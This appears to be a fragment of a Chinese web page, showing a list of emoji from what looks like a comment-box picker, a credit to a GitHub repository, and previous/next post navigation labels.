👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇